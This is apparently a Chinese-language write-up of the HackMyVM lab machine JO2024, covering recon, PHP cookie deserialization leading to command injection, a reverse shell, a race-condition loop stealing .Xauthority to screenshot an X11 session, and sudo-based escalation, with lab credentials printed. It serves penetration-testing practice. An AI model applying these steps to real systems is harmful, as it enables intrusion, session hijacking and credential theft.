hackmyvm-JO2024

arp-scan -l

nmap -sS -v 192.168.222.202

gobuster dir -u http://192.168.222.202-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404


访问/preferences.php

看一下cookie

解密

TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==
O:15:"UserPreferences":2:{s:8:"language";s:2:"fr";s:15:"backgroundColor";s:4:"#ddd";}
language 的值可以直接执行系统指令

反弹shell

nc -lnvp 1234

信息收集

上传pspy64收集下信息,发现backup一直在运行,可能是存在定时任务,那么backup就是我们要利用的文件了

查看 backup 文件

这是一个用于备份文件的bash脚本,主要功能是将 /home/vanity目录下的文件(除user.txt外)复制到 /backup目录,并进行完整性校验。
dd 命令是一个低级别的复制命令,一般在复制整个硬盘的时候用。比如做启动盘的时候,都是直接dd .然后有一个比较关键的点,dd 命令执行的时候会修改文件的权限,所以脚本在 dd 后用 chmod 700 来修改文件权限。
可以使用条件竞争在它修改文件权限前读到文件
上传pspy64收集下信息,发现backup一直在运行,可能是存在定时任务,那么backup就是我们要利用的文件了

while true; do cat .Xauthority >> /tmp/log 2>/dev/null;sleep 0.01; done

.Xauthority 这个文件是二进制的,所以用 cat 读取的时候会乱码。拿出来也没用。所以用 XXD 来读取。而靶机显然不会有 XXD,所以我们简单弄一个 busybox 过去就好了。
这个命令是一个 无限循环,它会持续执行以下操作:
while true; do
cat .Xauthority >> /tmp/log 2>/dev/null
sleep 0.01
done
作用分析

  1. while true; do ... done
  2. cat .Xauthority >> /tmp/log
  3. 2>/dev/null
  4. sleep 0.01
    潜在用途(可能恶意)
  • 窃取 X11 认证信息
    • .Xauthority 存储了 X11 会话的认证密钥,攻击者可能利用它进行GUI 会话劫持(如远程控制桌面)。
  • 隐蔽数据泄露
    • 由于 /tmp/log 会不断增长,攻击者可能利用它隐蔽地收集 .Xauthority 数据(如通过 scp 或 nc 传输到远程服务器)。
  • 磁盘填充攻击
  • 如果 .Xauthority 较大,循环写入 /tmp/log 可能导致 /tmp 分区被填满,影响系统运行。
    检测方法

    cat /tmp/log

利用 .Xauthority

6000 - Pentesting X11 - HackTricks

w 查看本地会话,目标 vanity

上传busybox

chmod +x busybox.1
./busybox.1 xxd log

./busybox xxd log 是一个 二进制文件查看/编辑命令 ,主要用于以 十六进制(HEX)和 ASCII 格式 查看或修改文件容。

xauth -f log

xauth -f log 是一个与 X Window 系统认证 相关的命令,主要用于操作 X11 授权文件(.Xauthority 文件)。

  • xauth:X11 认证管理工具,用于查看或修改 X 服务器的访问权限。
  • -f log:指定要操作的授权文件(默认是 ~/.Xauthority,这里改为 log)。
    常见用法
    bash复制代码xauth -f log list # 查看 log 文件中的 X11 认证记录 xauth -f log merge # 将 log 文件合并到当前会话的 .Xauthority xauth -f log extract - # 导出 log 文件中的认证信息


    每行表示一个 X11 显示(display)的认证记录,包含:
  • 显示名称(如 unix:0 或 :0)
  • 认证协议(如 MIT-MAGIC-COOKIE-1)
  • 认证密钥(十六进制字符串)

export XAUTHORITY=/tmp/log

export XAUTHORITY=/tmp/log 这条命令的作用是 临时修改当前 Shell 会话的 X11 认证文件路径,将默认的
~/.Xauthority(存储 X Window 系统的认证 cookie)替换为自定义路径
/tmp/log。

xwd -root -screen -silent -display :0 > screenshot.xwd

这条命令 xwd -root -screen -silent -display :0 > screenshot.xwd 用于 捕获 Linux/Unix 系统上的 X11 图形界面屏幕截图,并将其保存为 .xwd(X Window Dump)格式的文件。
文件格式(.xwd)

  • XWD 格式 是 X11 系统的原生截图格式,包含像素数据和窗口元信息。
  • 转换方法:可用 convert(ImageMagick)转换为常见格式(如 PNG/JPG):
    convert screenshot.xwd screenshot.png

    将screenshot.xwd下载到本地


    vanity:xd0oITR93KIQDbiD

切换用户

su -l vanity

提权

sudo -l

cat /usr/local/bin/php-server.sh


1. 脚本解析

  • #!/bin/bash:指定使用 Bash 解释器执行脚本。
  • /usr/bin/php:调用 PHP 解释器(通常位于 /usr/bin/php)。
  • -t /opt:设置服务器的 文档根目录(Document Root) 为 /opt(即网站文件存放位置)。
  • -S 0.0.0.0:8000:启动 PHP 内置服务器,监听所有网络接口(0.0.0.0)的 8000 端口
    2. 作用
    快速启动 PHP 开发服务器
  • 适用于 本地开发测试,无需配置 Nginx/Apache。
  • 访问方式:http://:8000(如 http://localhost:8000)。

sudo /usr/local/bin/php-server.sh

运行该脚本,访问靶机8000端口


点击F12

root密码是LightningBolt123

相关推荐
即将头秃的程序媛30 分钟前
centos 7.9安装tomcat,并实现开机自启
linux·运维·centos
fangeqin39 分钟前
ubuntu源码安装python3.13遇到Could not build the ssl module!解决方法
linux·python·ubuntu·openssl
爱奥尼欧2 小时前
【Linux 系统】基础IO——Linux中对文件的理解
linux·服务器·microsoft
超喜欢下雨天2 小时前
服务器安装 ros2时遇到底层库依赖冲突的问题
linux·运维·服务器·ros2
00后程序员张3 小时前
免Mac上架实战:全平台iOS App上架流程的工具协作经验
websocket·网络协议·tcp/ip·http·网络安全·https·udp
tan77º3 小时前
【Linux网络编程】网络基础
linux·服务器·网络
缘友一世3 小时前
网安系列【4】之OWASP与OWASP Top 10:Web安全入门指南
安全·web安全
笑衬人心。4 小时前
Ubuntu 22.04 + MySQL 8 无密码登录问题与 root 密码重置指南
linux·mysql·ubuntu
chanalbert5 小时前
CentOS系统新手指导手册
linux·运维·centos
星宸追风6 小时前
Ubuntu更换Home目录所在硬盘的过程
linux·运维·ubuntu